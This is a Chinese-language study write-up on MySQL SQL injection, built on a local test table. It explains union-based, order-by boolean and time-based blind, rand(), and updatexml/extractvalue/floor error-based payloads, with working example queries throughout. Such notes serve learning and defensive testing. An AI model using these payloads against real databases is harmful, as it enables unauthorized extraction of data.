Mysql-注入总结
Mysql-注入细节总结
前言
尽量深层次剖析每一个细节,最基础的东西往往会因为太过熟悉而抛弃细节
环境搭建
mysql
create database users;
use users;
create table person2(username text,password text);
insert into person2 values ("admin","123456");
insert into person2 values ("admin1","1234567");
insert into person2 values ("admin2","12345678");
Union
看看最常见的查询语句
select * from person2 where username='admin'
通常admin位置的字符串是可控的
当我们传入一个
admin' or '1'='1
其真实语句就会变为
select * from person2 where username='admin' or '1'='1';
where后边紧跟着 username='admin'和'1'='1'这两个条件,相当于一个并集,既要查找username为admin的集合,也要查找true的集合,但true是一个真值,可以理解为相当于啥判断条件都没,因此直接就变为
select * from person2;
按照正常情况下我们可能需要猜解字段对吧
select * from person2 where username='admin' order by 1;
order by 关键字用于对结果集按照一个列或者多个列进行排序
order by根据官方文档有以下几种使用方法
select_expr [, select_expr …] FROM table_references
[WHERE where_condition]
[GROUP BY {col_name | expr | position} [ASC | DESC], … [WITH ROLLUP]] [HAVING where_condition]
[ORDER BY {col_name | expr | position} [ASC | DESC], …]
- order by 后边可以跟col_name(也就是列名),返回结果将按照那一列进行排序
- order by 后边可以跟数字,数字代表了第n列,如果为2,则代表按照第二列进行排序,所以这就是为什么order by可以猜解列名。
同理 group by 也可以用来统计列数量,通常情况下通过在后边添加列名,配合sum函数对结果进行分组统计
如果紧跟的是数字的话,则代表对第n列的内容进行分组
在猜解完列数量之后,我们知道列数量为2,这时候按照测试手法应该是
select * from person2 where username='admin' and '1'='2' union select 1,2;
首先关于union操作符
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
可以看出在正常情况下可以通过union select进行联合查询,union前面的语句算作一个语句,union后面的语句算作一个语句,并且将结果联合起来展示
那么问题来了,为啥要是
username='admin' and '1'='2' union select 1,2
'admin'后边为啥是and,因为and后边跟着的是一个1=2(false),true && false为最终结果为false,所以前面的语句查询出来的结果是空的,而union select 之后查询出来的结果将可以直接展示union select查询的结果,而不受前面的正常查询结果干扰。
补一个,我们通常在进行真正查询数据库信息(如查询数据库版本)之前,都要确定显示位
比如显示为1的话就需要替换1的字段。如下
select * from person2 where username='admin' and '1'='2' union select @@version,2;
原因是上面正常的数据库查询最终产生了两个字段username和password的字段名和结果,返回给后端代码进行处理并将结果返回给前台。但通常情况下,即使使用*号进行全字段查询但也不是所有结果都会取出来并完整地返回给前端的,可能有时候只是需要取出用户名username这个字段返回来就可以了,这个时候就只有username这个显示位即1这个显示位可见。所以我们需要使用1,2,3····n这种形式进行显示位的标记,以便我们直接替换该可以显示的标记位即可。
Order By
验证漏洞
假设原sql语句为
select * from person2 order by 1
而传入的参数order=xxx
其中xxx刚好可控,直接接入order by 后面(1的位置),那这就可以认为是order by注入。
order by注入方式:
布尔盲注
select * from person2 order by if(表达式,返回值1,返回值2)
表达式为true时,返回返回值1
表达式为false时,返回返回值2
因此可以使用if条件进行布尔盲注,但有限制条件,我们看到if之后其实默认思路可能会是
select * from person2 order by if(表达式,1,2)
将返回值定位1和2,通过order by进行字段排序,当返回值为1和2时返回结果不一样进行布尔盲注。但是这是无法进行的,因为if只能返回字符串类型,无法返回整型。
所以该注入可配合于知道列名
select * from person2 order by if(表达式,列名1,列名2)
又或者通过information_schema表的报错进行盲注
select * from person2 order by if(表达式,1,(select * from information_schema.tables))
当表达式的值为false时就回返回select * from information_schema.table的值,届时将引起报错。
时间盲注
时间盲注还是基于order by
select * from person2 order by if(表达式,列名1,sleep(5))
若返回值为false则返回延迟5秒
rand()
order by rand(ascii(mid((select database()),1,1))>96)
rand为true和false结果是不一样的
报错注入
select * from person2 order by updatexml(1,if(1=2,1,user()),1);
select * from person2 order by extractvalue(1,if(1=2,1,user()));
报错注入原理,可参考这篇blog
https://www.cnblogs.com/laoxiajiadeyun/p/10488731.html
在MySQL 5.1.5版本中添加了对XML文档进行查询和修改的两个函数:extractvalue、updatexml
ExtractValue() 使用XPath表示法从XML字符串中提取值
UpdateXML() 返回替换的XML片段
第一个参数是目标xml文档,第二个xpath路径
正常情况下使用
SELECT ExtractValue('<a><b></b></a>', '/a/b');
查找a路径下的b路径中的内容
xpath可以传入sql语句查询结果,并且若xpath若语法错误,则引发报错,mysql会将错误打印出来。
因为 if(1=2,1,user())最后返回的是user()函数的执行结果,所以其最终传入的是root@localhost
SELECT ExtractValue('1', root@localhost);
可以看到该localhost被报错显示出来。
同理,updatexml是修改xml文档
select * from person2 order by updatexml(1,if(1=2,1,user()),1);
floor报错注入
select * from person2 order by (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
Limit 注入
没复现成功
https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html
这篇文章跨时间有点长,先这样子吧,后面再补充了